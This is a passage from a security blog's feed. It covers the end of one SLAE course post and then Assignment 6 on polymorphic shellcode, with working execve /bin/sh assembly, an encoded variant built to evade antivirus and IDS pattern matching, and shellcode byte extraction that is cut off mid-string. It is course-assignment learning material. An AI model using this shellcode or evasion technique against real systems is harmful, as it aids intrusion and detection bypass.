&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect, so our shellcode has been well decrypted and executed. Remember that TEA has some weaknesses, you may use another algorithm if you need strong encryption (AES, RSA, Blowfish, Twofish, …).  Also avoid simple XOR encryption because the xoring key can be guessed thanks to a tool like &lt;a href=&quot;https://github.com/hellman/xortool&quot;&gt;xortool&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So it was our last assignment for the exam of the  &lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;  course.&lt;br /&gt;
Thanks again to Vivek and its team for their work.&lt;/p&gt;

&lt;p&gt;Hope to see you soon,&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 6 - Polymorphic shellcodes</title>
   <link href="https://phackt.org/slae-polymorphic-shellcodes"/>
   <updated>2017-04-29T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-polymorphic-shellcodes</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-6&quot;&gt;Assignment 6:&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Take up 3 shellcodes from Shell-Storm and create polymorphic versions&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;The polymorphic versions can not be larger than 150% of the original versions&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Bonus points if shorter in length than original&lt;/em&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;So today we will create some polymorphic versions of existing shellcodes on the well-known site &lt;a href=&quot;http://shell-storm.org/shellcode/&quot;&gt;shell-storm&lt;/a&gt;.&lt;br /&gt;
Polymorphic versions aims at defeating pattern matching by AV and IDS:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Replacing instructions with equivalent ones.&lt;/li&gt;
  &lt;li&gt;Add garbage instructions that will not change the shellcode functionality but create a mess for the AV analysis.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/&quot;&gt;VirusTotal&lt;/a&gt; gathers AV engines but i do not recommend to test your shellcode on it because it will be fingerprinted and may be added to their database, so your next NSA hack may fail, such a pity.&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h3 id=&quot;jmpcallpop-execve-shell&quot;&gt;jmp/call/pop execve shell:&lt;/h3&gt;

&lt;p&gt;Ok so for our first shellcode &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment6/execve/execve.nasm&quot;&gt;execve.nasm&lt;/a&gt; let’s have a look at a &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-863.php&quot;&gt;jmp/call/pop execve shellcode&lt;/a&gt; (52 bytes long):&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;here&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;me:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt; 

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xb&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;here:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;me&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;sh&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s execute the shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./compile.sh execve &amp;amp;&amp;amp; chmod u+x ./execve &amp;amp;&amp;amp; ./execve&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;c&quot;&gt;# id&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The advantage of this shellcode is that the opcodes have been already thought to obfuscate a bit the shellcode behavior. If we add a second layer we can be barely sure that the shellcode will bypass the majority of the AVs.  A good idea here is to obfuscate the &lt;strong&gt;//bin/sh&lt;/strong&gt; variable and to add some garbage opcodes and/or to mix them.&lt;/p&gt;

&lt;p&gt;So let’s have a look at our polymorphic shellcode &lt;a href=&quot;https://github.com/phackt/slae/tree/master/assignment6/execve/execve_polymorphic.nasm&quot;&gt;execve_polymorphic.nasm&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_start&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;.text&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;_start:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;here&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;me:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; equivalent to mov the @ of our encoded //bin/sh into esi&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;                 &lt;span class=&quot;c1&quot;&gt;; same @ in edi&lt;/span&gt;
    
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; mix a little bit the opcodes&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; //bin/sh is 7 bytes long&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;dec1:&lt;/span&gt;                       
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; we are looping on our string&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;                 &lt;span class=&quot;c1&quot;&gt;; decrement the value&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; setting the right char into memory&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;dec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cl&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jns&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;dec1&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; jump if not signed&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; here we go for setting the right argument for our execve syscall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt; 

    &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xb&lt;/span&gt;              &lt;span class=&quot;c1&quot;&gt;; int execve(const char *filename, char *const argv[],char *const envp[]);&lt;/span&gt;

    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;here:&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;me&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x63&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x74&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x69&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; encoded //bin/sh string, we added 1 to each byte&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s compile our polymorphic shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# ./compile.sh execve_polymorphic&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Assembling with Nasm ... 
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Linking ...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Done!
&lt;span class=&quot;c&quot;&gt;# objdump -d ./execve_polymorphic|grep &apos;[0-9a-f]:&apos;|grep -v &apos;file&apos;|cut -f2 -d:|cut -f1-6 -d&apos; &apos;|tr -s &apos; &apos;|tr &apos;\t&apos; &apos; &apos;|sed &apos;s/ $//g&apos;|sed &apos;s/ /\\x/g&apos;|paste -d &apos;&apos; -s |sed &apos;s/^/&quot;/&apos;|sed &apos;s/$/&quot;/g&apos;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;eb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;5f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;58&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;07&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fe&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;79&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;83&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;c4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;8d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;76&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;06&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span 